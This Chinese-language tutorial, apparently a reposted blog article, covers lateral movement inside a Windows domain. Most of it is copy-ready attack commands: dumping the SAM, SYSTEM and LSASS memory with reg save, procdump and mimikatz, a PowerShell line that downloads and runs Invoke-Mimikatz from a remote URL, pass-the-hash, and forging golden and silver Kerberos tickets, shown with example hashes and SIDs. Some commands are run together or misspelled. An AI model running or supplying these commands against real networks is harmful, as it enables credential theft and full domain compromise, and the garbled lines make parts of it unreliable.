內網滲透之域內橫向移動
公眾號:白帽子左一
hash 介紹
在域環境中,使用者資訊儲存在域控的ntds.dit(C:\Windows\NTDS\NTDS.dit)中;非域環境也就是在工作組環境中,當前主機使用者的密碼資訊儲存著在sam檔案(C:\Windows\System32\config\SAM)。Windows作業系統通常使用兩種方法(LM和NTLM)對使用者的明文密碼進行加密處理。
LM只能儲存小於等於14個字元的密碼hash,如果密碼大於14個,windows就自動使用NTLM對其進行加密。LM Hash的全名為”LAN Manager Hash”,是微軟為了提高Windows作業系統的安全性而採用的雜湊值加密演算法,XP、win2k和win2k3來說,系統預設使用LM進行加密,個人版從Windows Vista 以後,伺服器版從Windows Server 2003以後該方法被禁用。如果抓取的LM Hash值是”aad3b435b51404eeaad3b435b51404ee”,可能的情況有:LM Hash值為空、密碼大於14位、被禁用或者認為設定。
NTLM Hash是微軟為了在提高安全性的同時保證相容性而設計的雜湊加密演算法。NTLM Hash是基於MD4加密演算法進行加密的。Windows作業系統的認證方式均為NTLM Hash。
hash 獲取
要在windows系統中抓取nt-hash或者明文,必須要system許可權,想要破解sam檔案與ntds.dit檔案都需要擁有一個system檔案(C:\Windows\System32\config\SYSTEM)
離線獲取
匯出 sam 和 system 檔案
reg save hklm\system C:\Users\Administrator\Desktop\hash\system.hive
reg save hklm\sam C:\Users\Administrator\Desktop\hash\sam.hive
-
使用 mimikatz
lsadump::sam /sam:C:\Users\Administrator\Desktop\hash\sam.hive /system:C:\Users\Administrator\Desktop\hash\system.hive
mimikatz
-
本地讀取
將 mimikatz 傳到目標機器
privilege::debug
token::elevate
lsadump::sam
-
線上讀取
mimikatz.exe privilege::debug sekurlsa::logonpasswords
-
lsass.dmp
使用 procdump 匯出 了lsass.dmp 檔案
procdump.exe -accepteula -ma lsass.exe C:\Users\Administrator\Desktop\hash\lsass.dmp
sekurlsa::minidump C:\Users\Administrator\Desktop\hash\lsass.dmp
sekurlsa::logonpasswords full
powershell
-
遠端獲取
powershell "IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Invoke-Mimikatz.ps1'); Invoke-Mimikatz -DumpCreds"
hash 傳遞(pth,pass the hash)
測試環境
域:tisheng.test
使用者名稱:administrator
NTLM hash:3ec403e7aee6461f12e8f7b644410605
用管理員許可權執行
mimikatz.exe "privilege::debug" "sekurlsa::pth /user:administrator /domain:tisheng.test /ntlm:3ec403e7aee6461f12e8f7b644410605"
成功後回彈出一個新的視窗
票據傳遞(ptt,path the triket)
票據傳遞攻擊(PtT)是一種使用Kerberos票據代替明文密碼或NTLM雜湊的方法。PtT最常見的用途可能是使用黃金票據和白銀票據,通過PtT訪問主機相當簡單。
黃金票據(tgt,Golden Ticket)
金票是通過偽造的TGT(TicketGranting Ticket),金票就有了域內的最高許可權。
製作金票的條件
1、域名稱
2、域的SID值
3、域的KRBTGT賬戶密碼HASH (krbtgt 域賬戶的密碼基本不會更改,即使域管密碼被修改,它也不會改變)
4、偽造使用者名稱,可以是任意的
獲取資料
mimikatz.exe "log" "privilege::debug" "lsadump::dcsync /domain:tisheng.test /user:krbtgt"
生成金票
方法1:
生成金票
kerberos::golden /admin:administrator /domain:0day.org /sid:S-1-5-21-1812960810-2335050734-3517558805 /krbtgt:36f9d9e6d98ecf8307baf4f46ef842a2 /ticket:golden.kiribi
將金票匯入記憶體
kerberos::purge //清空記憶體中的票據kerberos::ppt golden.kiribi //匯入票據kerberos::list //檢視票據
方法2:
kerberos::golden /user:要偽造的域使用者(我們這一般寫域管理員) /domain:域名 /sid:域的sid值 /krbtgt:krbtgt的雜湊 /pttkerberos::golden /user:administrator /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097/krbtgt:070dac97f50c95d08e98be1578327e7b /ptt
也可以使用 ase256 生成
kerberos::golden /user:administrator /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097-502 /aes256:9dd45bd4b2c39a54240f5dc03bb4ecfb023285cf956425ba16f61db7ee48040d /ptt
方法3:
在域控上執行
mimikatz.exe "privilege::debug" "sekurlsa::tickets /export"
將生成的檔案儲存下來
mimikatz "privilege::debug" "kerberos::ptt [0;b9476][email protected]"
白銀票據(st,SilverTickets)
銀票只能訪問指定服務
製作銀票的條件
1.域名稱2.域的SID值3.域中的Server伺服器賬戶的NTLM-Hash4.偽造的使用者名稱,可以是任意使用者名稱.5.目標伺服器上面的kerberos服務
服務名稱 同時需要的服務WMI HOST、RPCSSPowerShell Remoting HOST、HTTPWinRM HOST、HTTPScheduled Tasks HOSTWindows File Share CIFSLDAP LDAPWindows Remote Server RPCSS、LDAP、CIFS
生成白銀票據
kerberos::golden /domain:tisheng.test /sid:S-1-5-21-74797282-3442809439-2700332097 /target:dc.tisheng.test /service:cifs /rc4:3ec403e7aee6461f12e8f7b644410605 /user:test /ptt